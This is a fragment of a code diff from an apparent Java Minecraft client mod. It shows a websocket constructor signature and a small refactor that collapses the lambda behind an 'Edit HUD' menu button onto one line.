public SimpleWebsocket(URI serverUri, Map<String, String> headers, Runnable c, Consumer<String> msg) {
|
||||
super(serverUri, headers);
|
||||
|
|
|
@ -28,8 +28,6 @@ public class GameMenuMixin extends Screen {
|
|||
client.setScreen(new AddonManagerScreen());
|
||||
// client.setScreen(new StatsScreen());
|
||||
}));
|
||||
addDrawableChild(new RoundButton(RoundButton.STANDARD, 5, 30, 60, 20, "Edit HUD", () -> {
|
||||
client.setScreen(new HudEditorScreen());
|
||||
}));
|
||||
addDrawableChild(new RoundButton(RoundButton.STANDARD, 5, 30, 60, 20, "Edit HUD", () -> client.setScreen(new HudEditorScreen())));
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue